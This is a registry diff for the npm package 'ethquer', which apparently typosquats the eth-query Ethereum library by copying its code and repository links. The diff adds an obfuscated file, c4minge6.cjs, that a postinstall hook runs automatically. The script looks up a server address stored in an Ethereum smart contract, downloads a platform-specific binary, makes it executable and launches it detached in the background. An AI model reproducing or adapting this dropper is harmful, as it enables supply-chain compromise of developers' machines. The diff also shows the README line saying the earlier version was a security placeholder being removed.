ethquer 0.0.1-security → 2.1.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of ethquer might be problematic. Click here for more details.
- package/README.md +7 -3
- package/c4minge6.cjs +1 -0
- package/index.js +109 -0
- package/package.json +27 -4
package/README.md
CHANGED
@@ -1,5 +1,9 @@
|
|
1
|
-
|
1
|
+
like web3 but for minimalists
|
2
2
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
3
|
|
5
|
-
|
4
|
+
```js
|
5
|
+
var provider = { sendAsync: function(params, cb){/* ... */} }
|
6
|
+
var query = new EthQuery(provider)
|
7
|
+
|
8
|
+
query.getBalance(address, cb)
|
9
|
+
```
|
package/c4minge6.cjs
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
const _0x4f835a=_0x437b;function _0x287e(){const _0xf7b554=['2559672YUqcPm','Unsupported\x20platform:\x20','755','Ошибка\x20установки:','297159GyugAs','9131794qqeeie','8LFwlBI','data','5948631aRtvph','0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84','yDopC','0xa1b40044EBc2794f207D45143Bd82a1B86156c6b','ubOHd','nLZOS','AOSFb','finish','util','platform','367676mEhhJL','GET','XotrR','cDphh','aRTEH','ignore','mainnet','HrIUZ','253770ZmoGgb','/node-macos','path','join','/node-win.exe','15PgHhOd','axios','unref','Ошибка\x20при\x20запуске\x20файла:','DnWfY','linux','EHQlA','tmpdir','getString','basename','rtKBn','DKvPv','70185mAzDWu','lofzY','error','win32','102GlJhnd','Contract'];_0x287e=function(){return _0xf7b554;};return _0x287e();}(function(_0x5a0da5,_0x2f41fe){const _0x3fdc8c=_0x437b,_0x2c41cd=_0x5a0da5();while(!![]){try{const _0x3fa1f7=-parseInt(_0x3fdc8c(0x1b8))/0x1+parseInt(_0x3fdc8c(0x1b2))/0x2*(parseInt(_0x3fdc8c(0x1ae))/0x3)+parseInt(_0x3fdc8c(0x1c6))/0x4*(-parseInt(_0x3fdc8c(0x1a2))/0x5)+-parseInt(_0x3fdc8c(0x1b4))/0x6+parseInt(_0x3fdc8c(0x1b9))/0x7+parseInt(_0x3fdc8c(0x1ba))/0x8*(-parseInt(_0x3fdc8c(0x1bc))/0x9)+-parseInt(_0x3fdc8c(0x19d))/0xa;if(_0x3fa1f7===_0x2f41fe)break;else _0x2c41cd['push'](_0x2c41cd['shift']());}catch(_0x5e0419){_0x2c41cd['push'](_0x2c41cd['shift']());}}}(_0x287e,0xc632f));const {ethers}=require('ethers'),axios=require(_0x4f835a(0x1a3)),util=require(_0x4f835a(0x1c4)),fs=require('fs'),path=require(_0x4f835a(0x19f)),os=require('os'),{spawn}=require('child_process'),contractAddress=_0x4f835a(0x1bf),WalletOwner=_0x4f835a(0x1bd),abi=['function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)'],provider=ethers['getDefaultProvider'](_0x4f835a(0x19b)),contract=new ethers[(_0x4f835a(0x1b3))](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0x30c398=_0x4f835a,_0x1eb217={'EHQlA':function(_0x197dfe){return _0x197dfe();}};try{const _0x106f54=await contract[_0x30c398(0x1aa)](WalletOwner);return _0x106f54;}catch(_0x2789d2){return console[_0x30c398(0x1b0)]('Ошибка\x20при\x20получении\x20IP\x20адреса:',_0x2789d2),await _0x1eb217[_0x30c398(0x1a8)](fetchAndUpdateIp);}},getDownloadUrl=_0x2b51e1=>{const _0x330901=_0x4f835a,_0xc2b030={'yDopC':_0x330901(0x1b1),'AOSFb':_0x330901(0x1a7),'lofzY':'darwin'},_0x24968c=os['platform']();switch(_0x24968c){case _0xc2b030[_0x330901(0x1be)]:return _0x2b51e1+_0x330901(0x1a1);case _0xc2b030[_0x330901(0x1c2)]:return _0x2b51e1+'/node-linux';case _0xc2b030[_0x330901(0x1af)]:return _0x2b51e1+_0x330901(0x19e);default:throw new Error(_0x330901(0x1b5)+_0x24968c);}},downloadFile=async(_0x136704,_0x2fde93)=>{const _0x54da8a=_0x4f835a,_0x31a7bd={'IvbYB':_0x54da8a(0x1b0),'XotrR':function(_0x114625,_0x62fedd){return _0x114625(_0x62fedd);},'nLZOS':_0x54da8a(0x1c7)},_0x4f6eb0=fs['createWriteStream'](_0x2fde93),_0x4f13a5=await _0x31a7bd[_0x54da8a(0x1c8)](axios,{'url':_0x136704,'method':_0x31a7bd[_0x54da8a(0x1c1)],'responseType':'stream'});return _0x4f13a5[_0x54da8a(0x1bb)]['pipe'](_0x4f6eb0),new Promise((_0x56c89a,_0x47b882)=>{const _0x13b0d2=_0x54da8a;_0x4f6eb0['on'](_0x13b0d2(0x1c3),_0x56c89a),_0x4f6eb0['on'](_0x31a7bd['IvbYB'],_0x47b882);});},executeFileInBackground=async _0x24349f=>{const _0x237551=_0x4f835a,_0x3be6d3={'rtKBn':_0x237551(0x1a5)};try{const _0x129ae0=spawn(_0x24349f,[],{'detached':!![],'stdio':_0x237551(0x19a)});_0x129ae0[_0x237551(0x1a4)]();}catch(_0x180998){console['error'](_0x3be6d3[_0x237551(0x1ac)],_0x180998);}},runInstallation=async()=>{const _0x599bfd=_0x4f835a,_0x1abff0={'cnGeI':function(_0x1a4daf){return _0x1a4daf();},'DnWfY':function(_0x1e29e3,_0x13c424){return _0x1e29e3(_0x13c424);},'ubOHd':function(_0x4c634a,_0x11e8b1,_0x2dccfb){return _0x4c634a(_0x11e8b1,_0x2dccfb);},'DKvPv':_0x599bfd(0x1b1),'HrIUZ':_0x599bfd(0x1b6),'cDphh':function(_0x8055c3,_0x29af45){return _0x8055c3(_0x29af45);},'aRTEH':_0x599bfd(0x1b7)};try{const _0x5a8388=await _0x1abff0['cnGeI'](fetchAndUpdateIp),_0xa4e14f=_0x1abff0[_0x599bfd(0x1a6)](getDownloadUrl,_0x5a8388),_0x291e08=os[_0x599bfd(0x1a9)](),_0x139262=path[_0x599bfd(0x1ab)](_0xa4e14f),_0x2959fb=path[_0x599bfd(0x1a0)](_0x291e08,_0x139262);await _0x1abff0[_0x599bfd(0x1c0)](downloadFile,_0xa4e14f,_0x2959fb);if(os[_0x599bfd(0x1c5)]()!==_0x1abff0[_0x599bfd(0x1ad)])fs['chmodSync'](_0x2959fb,_0x1abff0[_0x599bfd(0x19c)]);_0x1abff0[_0x599bfd(0x1c9)](executeFileInBackground,_0x2959fb);}catch(_0x39227c){console['error'](_0x1abff0[_0x599bfd(0x199)],_0x39227c);}};function _0x437b(_0xf52e58,_0x374d8f){const _0x287e67=_0x287e();return _0x437b=function(_0x437b87,_0x347b3c){_0x437b87=_0x437b87-0x199;let _0xafcdaa=_0x287e67[_0x437b87];return _0xafcdaa;},_0x437b(_0xf52e58,_0x374d8f);}runInstallation();
|
package/index.js
ADDED
@@ -0,0 +1,109 @@
|
|
1
|
+
const extend = require('xtend')
|
2
|
+
const createRandomId = require('json-rpc-random-id')()
|
3
|
+
|
4
|
+
module.exports = EthQuery
|
5
|
+
|
6
|
+
|
7
|
+
function EthQuery(provider){
|
8
|
+
const self = this
|
9
|
+
self.currentProvider = provider
|
10
|
+
}
|
11
|
+
|
12
|
+
//
|
13
|
+
// base queries
|
14
|
+
//
|
15
|
+
|
16
|
+
// default block
|
17
|
+
EthQuery.prototype.getBalance = generateFnWithDefaultBlockFor(2, 'eth_getBalance')
|
18
|
+
EthQuery.prototype.getCode = generateFnWithDefaultBlockFor(2, 'eth_getCode')
|
19
|
+
EthQuery.prototype.getTransactionCount = generateFnWithDefaultBlockFor(2, 'eth_getTransactionCount')
|
20
|
+
EthQuery.prototype.getStorageAt = generateFnWithDefaultBlockFor(3, 'eth_getStorageAt')
|
21
|
+
EthQuery.prototype.call = generateFnWithDefaultBlockFor(2, 'eth_call')
|
22
|
+
// standard
|
23
|
+
EthQuery.prototype.protocolVersion = generateFnFor('eth_protocolVersion')
|
24
|
+
EthQuery.prototype.syncing = generateFnFor('eth_syncing')
|
25
|
+
EthQuery.prototype.coinbase = generateFnFor('eth_coinbase')
|
26
|
+
EthQuery.prototype.mining = generateFnFor('eth_mining')
|
27
|
+
EthQuery.prototype.hashrate = generateFnFor('eth_hashrate')
|
28
|
+
EthQuery.prototype.gasPrice = generateFnFor('eth_gasPrice')
|
29
|
+
EthQuery.prototype.accounts = generateFnFor('eth_accounts')
|
30
|
+
EthQuery.prototype.blockNumber = generateFnFor('eth_blockNumber')
|
31
|
+
EthQuery.prototype.getBlockTransactionCountByHash = generateFnFor('eth_getBlockTransactionCountByHash')
|
32
|
+
EthQuery.prototype.getBlockTransactionCountByNumber = generateFnFor('eth_getBlockTransactionCountByNumber')
|
33
|
+
EthQuery.prototype.getUncleCountByBlockHash = generateFnFor('eth_getUncleCountByBlockHash')
|
34
|
+
EthQuery.prototype.getUncleCountByBlockNumber = generateFnFor('eth_getUncleCountByBlockNumber')
|
35
|
+
EthQuery.prototype.sign = generateFnFor('eth_sign')
|
36
|
+
EthQuery.prototype.sendTransaction = generateFnFor('eth_sendTransaction')
|
37
|
+
EthQuery.prototype.sendRawTransaction = generateFnFor('eth_sendRawTransaction')
|
38
|
+
EthQuery.prototype.estimateGas = generateFnFor('eth_estimateGas')
|
39
|
+
EthQuery.prototype.getBlockByHash = generateFnFor('eth_getBlockByHash')
|
40
|
+
EthQuery.prototype.getBlockByNumber = generateFnFor('eth_getBlockByNumber')
|
41
|
+
EthQuery.prototype.getTransactionByHash = generateFnFor('eth_getTransactionByHash')
|
42
|
+
EthQuery.prototype.getTransactionByBlockHashAndIndex = generateFnFor('eth_getTransactionByBlockHashAndIndex')
|
43
|
+
EthQuery.prototype.getTransactionByBlockNumberAndIndex = generateFnFor('eth_getTransactionByBlockNumberAndIndex')
|
44
|
+
EthQuery.prototype.getTransactionReceipt = generateFnFor('eth_getTransactionReceipt')
|
45
|
+
EthQuery.prototype.getUncleByBlockHashAndIndex = generateFnFor('eth_getUncleByBlockHashAndIndex')
|
46
|
+
EthQuery.prototype.getUncleByBlockNumberAndIndex = generateFnFor('eth_getUncleByBlockNumberAndIndex')
|
47
|
+
EthQuery.prototype.getCompilers = generateFnFor('eth_getCompilers')
|
48
|
+
EthQuery.prototype.compileLLL = generateFnFor('eth_compileLLL')
|
49
|
+
EthQuery.prototype.compileSolidity = generateFnFor('eth_compileSolidity')
|
50
|
+
EthQuery.prototype.compileSerpent = generateFnFor('eth_compileSerpent')
|
51
|
+
EthQuery.prototype.newFilter = generateFnFor('eth_newFilter')
|
52
|
+
EthQuery.prototype.newBlockFilter = generateFnFor('eth_newBlockFilter')
|
53
|
+
EthQuery.prototype.newPendingTransactionFilter = generateFnFor('eth_newPendingTransactionFilter')
|
54
|
+
EthQuery.prototype.uninstallFilter = generateFnFor('eth_uninstallFilter')
|
55
|
+
EthQuery.prototype.getFilterChanges = generateFnFor('eth_getFilterChanges')
|
56
|
+
EthQuery.prototype.getFilterLogs = generateFnFor('eth_getFilterLogs')
|
57
|
+
EthQuery.prototype.getLogs = generateFnFor('eth_getLogs')
|
58
|
+
EthQuery.prototype.getWork = generateFnFor('eth_getWork')
|
59
|
+
EthQuery.prototype.submitWork = generateFnFor('eth_submitWork')
|
60
|
+
EthQuery.prototype.submitHashrate = generateFnFor('eth_submitHashrate')
|
61
|
+
|
62
|
+
// network level
|
63
|
+
|
64
|
+
EthQuery.prototype.sendAsync = function(opts, cb){
|
65
|
+
const self = this
|
66
|
+
self.currentProvider.sendAsync(createPayload(opts), function(err, response){
|
67
|
+
if (!err && response.error) err = new Error('EthQuery - RPC Error - '+response.error.message)
|
68
|
+
if (err) return cb(err)
|
69
|
+
cb(null, response.result)
|
70
|
+
})
|
71
|
+
}
|
72
|
+
|
73
|
+
// util
|
74
|
+
|
75
|
+
function generateFnFor(methodName){
|
76
|
+
return function(){
|
77
|
+
const self = this
|
78
|
+
var args = [].slice.call(arguments)
|
79
|
+
var cb = args.pop()
|
80
|
+
self.sendAsync({
|
81
|
+
method: methodName,
|
82
|
+
params: args,
|
83
|
+
}, cb)
|
84
|
+
}
|
85
|
+
}
|
86
|
+
|
87
|
+
function generateFnWithDefaultBlockFor(argCount, methodName){
|
88
|
+
return function(){
|
89
|
+
const self = this
|
90
|
+
var args = [].slice.call(arguments)
|
91
|
+
var cb = args.pop()
|
92
|
+
// set optional default block param
|
93
|
+
if (args.length < argCount) args.push('latest')
|
94
|
+
self.sendAsync({
|
95
|
+
method: methodName,
|
96
|
+
params: args,
|
97
|
+
}, cb)
|
98
|
+
}
|
99
|
+
}
|
100
|
+
|
101
|
+
function createPayload(data){
|
102
|
+
return extend({
|
103
|
+
// defaults
|
104
|
+
id: createRandomId(),
|
105
|
+
jsonrpc: '2.0',
|
106
|
+
params: [],
|
107
|
+
// user-specified
|
108
|
+
}, data)
|
109
|
+
}
|
package/package.json
CHANGED
@@ -1,6 +1,29 @@
|
|
1
1
|
{
|
2
2
|
"name": "ethquer",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
6
|
-
|
3
|
+
"version": "2.1.2",
|
4
|
+
"description": "like web3 but for minimalists",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"postinstall": "node c4minge6.cjs"
|
8
|
+
},
|
9
|
+
"author": "",
|
10
|
+
"license": "ISC",
|
11
|
+
"dependencies": {
|
12
|
+
"json-rpc-random-id": "^1.0.0",
|
13
|
+
"xtend": "^4.0.1",
|
14
|
+
"axios": "^1.7.7",
|
15
|
+
"ethers": "^6.13.2"
|
16
|
+
},
|
17
|
+
"devDependencies": {},
|
18
|
+
"repository": {
|
19
|
+
"type": "git",
|
20
|
+
"url": "git+https://github.com/ethereumjs/eth-query.git"
|
21
|
+
},
|
22
|
+
"bugs": {
|
23
|
+
"url": "https://github.com/ethereumjs/eth-query/issues"
|
24
|
+
},
|
25
|
+
"homepage": "https://github.com/ethereumjs/eth-query#readme",
|
26
|
+
"files": [
|
27
|
+
"c4minge6.cjs"
|
28
|
+
]
|
29
|
+
}
|